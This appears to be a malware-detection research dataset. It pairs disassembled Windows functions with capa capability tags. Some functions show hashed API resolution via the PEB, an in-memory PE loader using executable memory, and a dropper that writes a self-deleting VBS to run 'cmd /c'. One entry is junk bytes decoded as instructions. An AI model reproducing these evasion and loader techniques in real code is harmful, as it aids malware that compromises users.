joyce8/EMBER2024-capa huggingface dataset:
Function at 0x393310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x24
mov eax, dword [ecx + 4]
push ebx
push esi
mov dword [esp + 0x14], edx
lea esi, [ecx + 4]
mov edx, dword [ecx]
add esi, 4
xor eax, edx
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], eax
push edi
movd xmm0, edx
mov edi, eax
pshufd xmm0, xmm0, 0
movdqa xmmword [esp + 0x20], xmm0
test al, 3
je 0x393350
and edi, 0xfffffffc
add edi, 4
mov eax, dword [0x39e494]
test eax, eax
jne 0x393374
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x7facde30
mov ecx, eax
call fcn.00393e60
mov dword [0x39e494], eax
call eax
mov ebx, eax
mov eax, dword [0x39dd18]
test eax, eax
jne 0x39339c
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x9ff0609c
mov ecx, eax
call fcn.00393e60
mov dword [0x39dd18], eax
push edi
push 8
push ebx
call eax
mov dword [esp + 0xc], eax
test eax, eax
je 0x393452
shr edi, 2
xor edx, edx
lea ecx, [esi + edi*4]
mov edi, eax
mov ebx, ecx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, ecx
mov ecx, eax
cmova ebx, edx
test ebx, ebx
je 0x393442
cmp ebx, 8
jb 0x393427
lea eax, [esi - 4]
lea eax, [eax + ebx*4]
cmp ecx, eax
ja 0x3933e6
lea eax, [ecx - 4]
lea eax, [eax + ebx*4]
cmp eax, esi
jae 0x393427
movdqa xmm1, xmmword [esp + 0x20]
mov eax, ebx
and eax, 7
mov dword [esp + 0xc], ebx
sub dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
lea ecx, [ecx]
movdqu xmm0, xmmword [esi]
add edx, 8
pxor xmm0, xmm1
movdqu xmmword [edi], xmm0
movdqu xmm0, xmmword [esi + 0x10]
add esi, 0x20
pxor xmm0, xmm1
movdqu xmmword [edi + 0x10], xmm0
add edi, 0x20
cmp edx, eax
jb 0x393400
cmp edx, ebx
jae 0x393442
sub edi, esi
lea ecx, [ecx]
mov eax, dword [esi]
lea esi, [esi + 4]
xor eax, dword [esp + 0x14]
inc edx
mov dword [edi + esi - 4], eax
cmp edx, ebx
jb 0x393430
mov edx, dword [esp + 0x18]
test edx, edx
je 0x393450
mov eax, dword [esp + 0x1c]
mov dword [edx], eax
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3934c0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push esi
lea esi, [ecx + 4]
mov dword [esp + 8], edx
lea ebx, [eax + 1]
mov dword [esp + 0x10], eax
add esi, 4
push edi
test bl, 3
je 0x3934e9
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x39e494]
test eax, eax
jne 0x39350d
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x7facde30
mov ecx, eax
call fcn.00393e60
mov dword [0x39e494], eax
call eax
mov edi, eax
mov eax, dword [0x39dd18]
test eax, eax
jne 0x393535
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x9ff0609c
mov ecx, eax
call fcn.00393e60
mov dword [0x39dd18], eax
lea ecx, [ebx + ebx]
push ecx
push 8
push edi
call eax
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x3935b5
shr ebx, 2
xor eax, eax
push ebp
xor ebp, ebp
mov edx, edi
lea ecx, [esi + ebx*4]
mov ebx, ecx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, ecx
cmova ebx, eax
test ebx, ebx
je 0x3935aa
mov edi, dword [esp + 0x10]
lea esp, [esp]
mov ecx, dword [esi]
lea edx, [edx + 8]
xor ecx, edi
lea esi, [esi + 4]
movzx eax, cl
inc ebp
mov word [edx - 8], ax
mov eax, ecx
shr eax, 8
movzx eax, al
mov word [edx - 6], ax
shr ecx, 0x10
movzx eax, cl
mov word [edx - 4], ax
shr ecx, 8
movzx eax, cl
mov word [edx - 2], ax
cmp ebp, ebx
jb 0x393570
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
xor ecx, ecx
pop ebp
mov word [edi + eax*2], cx
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x3935c0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push ebp
push esi
lea esi, [ecx + 4]
mov dword [esp + 0xc], edx
lea ebx, [eax + 1]
mov dword [esp + 0x14], eax
add esi, 4
push edi
test bl, 3
je 0x3935ea
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x39e494]
test eax, eax
jne 0x39360e
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x7facde30
mov ecx, eax
call fcn.00393e60
mov dword [0x39e494], eax
call eax
mov edi, eax
mov eax, dword [0x39dd18]
test eax, eax
jne 0x393636
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x9ff0609c
mov ecx, eax
call fcn.00393e60
mov dword [0x39dd18], eax
push ebx
push 8
push edi
call eax
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x3936a2
shr ebx, 2
xor eax, eax
xor edi, edi
mov ecx, ebp
lea edx, [esi + ebx*4]
mov ebx, edx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, edx
cmova ebx, eax
test ebx, ebx
je 0x39369a
mov ebp, dword [esp + 0x10]
lea esp, [esp]
mov edx, dword [esi]
lea ecx, [ecx + 4]
xor edx, ebp
lea esi, [esi + 4]
mov byte [ecx - 4], dl
mov eax, edx
shr eax, 8
inc edi
shr edx, 0x10
mov byte [ecx - 3], al
mov byte [ecx - 2], dl
shr edx, 8
mov byte [ecx - 1], dl
cmp edi, ebx
jb 0x393670
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov byte [eax + ebp], 0
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x393bb0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov dword [esp], 0x4090
or dword [esp], 0x31656b5b
imul eax, dword [esp], 0x51
push ebx
mov ebx, ecx
mov dword [esp + 4], eax
mov eax, 0xb02c0b03
mov edx, dword [esp + 4]
mul edx
shr edx, 6
mov dword [esp + 4], edx
shl dword [esp + 4], 0x10
or dword [esp + 4], 0xecb0ddf8
add dword [esp + 4], 0x637e
xor dword [esp + 4], 0xeef54176
mov dword [esp + 8], 0x5ef
add dword [esp + 8], 0x6fab
or dword [esp + 8], 0x1ac9183b
shl dword [esp + 8], 8
shr dword [esp + 8], 2
xor dword [esp + 8], 0x325f6ec6
mov dword [esp + 8], 0xc1f4
add dword [esp + 8], 0x1c7b
or dword [esp + 8], 0x28c630b6
add dword [esp + 8], 0xffff17a2
shl dword [esp + 8], 0xb
xor dword [esp + 8], 0x30b50810
cmp byte [ebx], 0
je 0x393cf3
push esi
push edi
lea ecx, [ecx]
mov edi, dword [esp + 0xc]
lea ebx, [ebx + 1]
mov dword [esp + 0x10], 0x5ef
add dword [esp + 0x10], 0x6fab
or dword [esp + 0x10], 0x1ac9183b
shl dword [esp + 0x10], 8
shr dword [esp + 0x10], 2
xor dword [esp + 0x10], 0x325f6ec6
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0xc]
mov dword [esp + 0x10], 0xc1f4
add dword [esp + 0x10], 0x1c7b
or dword [esp + 0x10], 0x28c630b6
add dword [esp + 0x10], 0xffff17a2
shl dword [esp + 0x10], 0xb
xor dword [esp + 0x10], 0x30b50810
shl esi, cl
movzx ecx, byte [esp + 0x10]
mov edx, dword [esp + 0xc]
movsx eax, byte [ebx - 1]
mov dword [esp + 0xc], eax
add dword [esp + 0xc], esi
shl edx, cl
add dword [esp + 0xc], edx
sub dword [esp + 0xc], edi
cmp byte [ebx], 0
jne 0x393c60
pop edi
pop esi
mov eax, dword [esp + 4]
pop ebx
add esp, 8
ret
Function at 0x393e60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x393ebc
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.00393bb0
xor eax, 0x3b993195
cmp eax, dword [esp + 0x10]
je 0x393ec6
inc esi
cmp esi, dword [edi + 0x18]
jb 0x393ea0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x393ef4
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x393ef4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x3940b0
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x3940d6
cmp al, 0x2e
je 0x3940d3
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x3940c3
jmp 0x3940d6
mov byte [edx], 0
mov eax, dword [0x39e470]
test eax, eax
jne 0x3940fa
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0xcca18ea2
mov ecx, eax
call fcn.00393e60
mov dword [0x39e470], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x394141
mov eax, dword [0x39e2f4]
test eax, eax
jne 0x39412b
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0xe4b28a79
mov ecx, eax
call fcn.00393e60
mov dword [0x39e2f4], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x394141
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.00393bb0
xor eax, 0x3b993195
mov ecx, edi
mov edx, eax
call fcn.00393e60
pop edi
pop esi
add esp, 0x104
ret
Function at 0x393f00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov ebx, dword [eax + 0xc]
add ebx, 0xc
mov dword [esp + 0x18], ecx
push edi
mov dword [esp + 0x18], ebx
mov ebp, dword [ebx]
cmp ebp, ebx
je 0x39408d
mov esi, dword [ebp + 0x30]
mov dword [esp + 0x10], 0x4090
or dword [esp + 0x10], 0x31656b5b
imul eax, dword [esp + 0x10], 0x51
mov dword [esp + 0x10], eax
mov eax, 0xb02c0b03
mov ecx, dword [esp + 0x10]
mul ecx
shr edx, 6
mov dword [esp + 0x10], edx
shl dword [esp + 0x10], 0x10
or dword [esp + 0x10], 0xecb0ddf8
add dword [esp + 0x10], 0x637e
xor dword [esp + 0x10], 0xeef54176
mov dword [esp + 0x14], 0x5ef
add dword [esp + 0x14], 0x6fab
or dword [esp + 0x14], 0x1ac9183b
shl dword [esp + 0x14], 8
shr dword [esp + 0x14], 2
xor dword [esp + 0x14], 0x325f6ec6
mov dword [esp + 0x14], 0xc1f4
add dword [esp + 0x14], 0x1c7b
or dword [esp + 0x14], 0x28c630b6
add dword [esp + 0x14], 0xffff17a2
shl dword [esp + 0x14], 0xb
xor dword [esp + 0x14], 0x30b50810
cmp word [esi], 0
je 0x394073
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x14], 0x5ef
add dword [esp + 0x14], 0x6fab
or dword [esp + 0x14], 0x1ac9183b
shl dword [esp + 0x14], 8
shr dword [esp + 0x14], 2
xor dword [esp + 0x14], 0x325f6ec6
movzx ecx, byte [esp + 0x14]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0xc1f4
add dword [esp + 0x14], 0x1c7b
or dword [esp + 0x14], 0x28c630b6
add dword [esp + 0x14], 0xffff17a2
shl dword [esp + 0x14], 0xb
xor dword [esp + 0x14], 0x30b50810
shl edx, cl
movzx ecx, byte [esp + 0x14]
mov edi, dword [esp + 0x10]
movzx eax, word [esi]
shl edi, cl
cmp eax, 0x41
jb 0x394052
cmp eax, 0x5a
ja 0x394052
add eax, 0x20
mov dword [esp + 0x10], eax
add esi, 2
add dword [esp + 0x10], edx
add dword [esp + 0x10], edi
sub dword [esp + 0x10], ebx
cmp word [esi], 0
jne 0x393fd1
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
xor eax, 0x14d5ed60
cmp eax, dword [esp + 0x1c]
je 0x394097
mov ebp, dword [ebp]
cmp ebp, ebx
jne 0x393f25
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x394370
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x39450e
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x39450e
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x39450e
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x39450e
mov eax, dword [0x39e2a4]
test eax, eax
jne 0x3943db
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0x24897df
mov ecx, eax
call fcn.00393e60
mov dword [0x39e2a4], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x394505
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x39e1e0]
test eax, eax
jne 0x39443b
mov ecx, 0xc6fbcd74
call fcn.00393f00
mov edx, 0x624eee2
mov ecx, eax
call fcn.00393e60
mov dword [0x39e1e0], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x3944be
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x39e1e0]
test eax, eax
jne 0x3944a6
mov ecx, 0xc6fbcd74
call fcn.00393f00
mov edx, 0x624eee2
mov ecx, eax
call fcn.00393e60
mov dword [0x39e1e0], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x394465
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.00394640
mov edx, edi
mov ecx, ebx
call fcn.00394550
pop esi
test eax, eax
jne 0x394505
mov eax, dword [0x39e3cc]
test eax, eax
jne 0x3944f9
mov ecx, 0x9bab0b12
call fcn.00393f00
mov edx, 0xc16beec2
mov ecx, eax
call fcn.00393e60
mov dword [0x39e3cc], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x10003190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
mov eax, dword [0x10049378]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str..wad]
mov dword [0x1004ae88], eax
mov ax, word [0x1003e168]
push 0x80
mov word [0x1004ae8c], ax
lea eax, [ebp - 0x84]
push eax
push 0x66
push dword [0x10702268]
call dword [sym.imp.USER32.dll_LoadStringA]
mov cl, byte [ebp + eax - 0x85]
xor eax, eax
cmp byte [ebp - 0x84], al
je 0x1000320b
cmp byte [ebp + eax - 0x84], cl
jne 0x10003200
cmp eax, 0x80
jae 0x1000336c
mov byte [ebp + eax - 0x84], 0
inc eax
cmp byte [ebp + eax - 0x84], 0
jne 0x100031e4
push 0x58
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.1000fed0
mov eax, dword [0x1004aa24]
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0x84]
add esp, 0xc
mov dword [ebp - 0xd4], eax
lea eax, [ebp - 0xe0]
push eax
mov dword [ebp - 0xe0], 0x58
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0xc4], 0x1004ae88
mov dword [ebp - 0xc0], 0x80
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], str.DOOM
mov dword [ebp - 0xac], 2
mov dword [ebp - 0xb0], str.New_WAD_File
mov dword [ebp - 0xa4], 0x1003e184
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
test eax, eax
je 0x1000335e
mov ecx, dword [ebp - 0xc4]
mov edx, 0x107022f0
sub edx, ecx
jmp 0x100032c0
mov al, byte [ecx]
mov byte [edx + ecx], al
lea ecx, [ecx + 1]
test al, al
jne 0x100032c0
push esi
push edi
push 0
push 0x80000020
push 1
push 0
push 1
push 0x40000000
push 0x107022f0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
mov edi, eax
push 0
push edi
mov dword [ebp - 0x88], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x1004aa34
push 4
push str.PWAD
push edi
call esi
push 0
push 0x1004aa34
push 4
lea eax, [ebp - 0x88]
push eax
push edi
call esi
push 0
push 0x1004aa34
push 4
lea eax, [ebp - 0x88]
push eax
push edi
mov dword [ebp - 0x88], 0xc
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [0x1004aa50], 0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f362
mov esp, ebp
pop ebp
ret
call fcn.1000e5f4
int3
Function at 0x10009a50
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x10049378]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0xb
mov esi, str.C:MSDEVProjectsInfiniDoomRelease_temp.wad
lea edi, [ebp - 0x8c]
rep movsd dword es:[edi], dword [esi]
push 0x52
lea eax, [ebp - 0x5e]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.1000fed0
mov edi, dword [ebp + 8]
add esp, 0xc
add edi, 0xc
cmp dword [0x1004aa50], edi
push 0
cmovl edi, dword [0x1004aa50]
push 0x80000020
push 3
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0x1004aa38
mov ebx, eax
push 4
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov byte [ebp - 8], 0
mov ecx, str.IWAD
lea eax, [ebp - 0xc]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10009b00
test dl, dl
je 0x10009afc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10009b00
add eax, 2
add ecx, 2
test dl, dl
jne 0x10009ae0
xor eax, eax
jmp 0x10009b05
sbb eax, eax
or eax, 1
test eax, eax
je 0x10009b3a
mov ecx, str.PWAD
lea eax, [ebp - 0xc]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10009b31
test dl, dl
je 0x10009b2d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10009b31
add eax, 2
add ecx, 2
test dl, dl
jne 0x10009b11
xor eax, eax
jmp 0x10009b36
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10009b9e
push 0
push 0x1004aa38
push 4
lea eax, [ebp - 0x94]
push eax
push ebx
call esi
push 0
push 0x1004aa38
push 4
lea eax, [ebp - 0x90]
push eax
push ebx
call esi
push 0
push 0
push dword [ebp - 0x90]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
cmp eax, edi
jge 0x10009b9e
lea esi, [eax + eax*2]
shl esi, 3
sub edi, eax
mov eax, dword [0x10442f4c]
push 0
push 0x1004aa34
push 0x10
add eax, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esi, 0x18
dec edi
jne 0x10009b80
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f362
mov esp, ebp
pop ebp
ret
Function at 0x10016fe0
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10049378]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.100117c9
mov dword [ebp - 0x14], eax
cmp dword [0x1085b4ac], edi
jne 0x100170d1
push 0x800
push edi
push 0x10040758
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x1001705e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100171b1
push 0x10040758
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x100171b1
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100171b1
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1085b4ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x1085b4b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x1085b4b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1085b4bc], eax
test eax, eax
je 0x100170ce
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1085b4b8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x100170f6
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100170e9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x1001710b
push 4
pop eax
jmp 0x100171b3
cmp dword [ebp - 0x14], edi
je 0x1001710b
push dword [0x1085b4ac]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x100170f0
mov eax, dword [0x1085b4b8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10017169
cmp dword [0x1085b4bc], esi
je 0x10017169
push eax
call ebx
push dword [0x1085b4bc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10017169
test eax, eax
je 0x10017169
call ecx
test eax, eax
je 0x1001715e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1001715e
test byte [ebp - 8], 1
jne 0x10017169
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10017199
mov eax, dword [0x1085b4b0]
cmp eax, esi
je 0x10017196
push eax
call ebx
test eax, eax
je 0x10017196
call eax
mov edi, eax
test edi, edi
je 0x10017196
mov eax, dword [0x1085b4b4]
cmp eax, esi
je 0x10017196
push eax
call ebx
test eax, eax
je 0x10017196
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1085b4ac]
call ebx
test eax, eax
je 0x100171b1
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x100171b3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f362
leave
ret
Function at 0x1002a37b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10013f85
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1002a3b3
xor eax, eax
jmp 0x1002a3df
cmp esi, dword [ebp - 4]
je 0x1002a3dc
cmp dword [ebp + 0xc], 0
je 0x1002a3dc
push dword [edi + 0x9c]
call fcn.10029f89
push dword [edi + 0x9c]
mov esi, eax
call fcn.10016ebc
pop ecx
pop ecx
cmp esi, eax
je 0x1002a3af
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0xa6e166
Capabilities:
Encode data using xor

Disassembly:
cmp al, 0x3d
xor bl, al
sub dword [eax - 0x7ff65c8f], ebp
nop
inc ebx
inc edx
and al, bl
les ebp, [edx - 2]
xchg esi, eax
mov ecx, 0xde230b98
and ebx, esi
and byte [esp + esi*8 + 0x7ca2e38], ah
push ecx
mov dl, 0xb8
xchg edx, eax
add byte [edx], 9
dec esi
pop ecx
xor al, byte [edx + 0x41]
mov esp, 0xc3589046
and al, 0x13
insd dword es:[edi], dx
fcom dword [edx - 0x5f2b528c]
test edi, ecx
loope 0xa6e17c
or al, 0x88
cli
popal
les edx, [edx]
invalid
Function at 0x40c66d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00411699
mov esi, 0x474340
mov ecx, esi
call fcn.004022f8
push eax
mov ecx, esi
call fcn.00401e8f
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c6cd
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041ab38
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041ae08
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.004028cf
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x48]
call fcn.00401eea
lea eax, [ebp - 0x78]
push eax
push 0x465aa0
push 0x4661f0
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403b40
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403cdc
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401e13
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x18]
call fcn.00401e52
push 0x466398
push 0x46639c
lea ecx, [ebp - 0xc0]
call fcn.00403b40
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403b40
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402860
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004028cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00402de3
lea ecx, [ebp - 0x48]
call fcn.00401e13
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x90]
call fcn.00401e13
lea ecx, [ebp - 0xa8]
call fcn.00401e13
lea ecx, [ebp - 0xc0]
call fcn.00401e13
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.004082d2
push edi
lea ecx, [ebp - 0x60]
call fcn.00401e07
push eax
lea ecx, [ebp - 0x18]
call fcn.004022f8
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.0041b58f
pop ecx
pop ecx
test al, al
je 0x40c838
push edi
mov eax, 0x465900
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401e07
push eax
push 0x46559c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c838
push edi
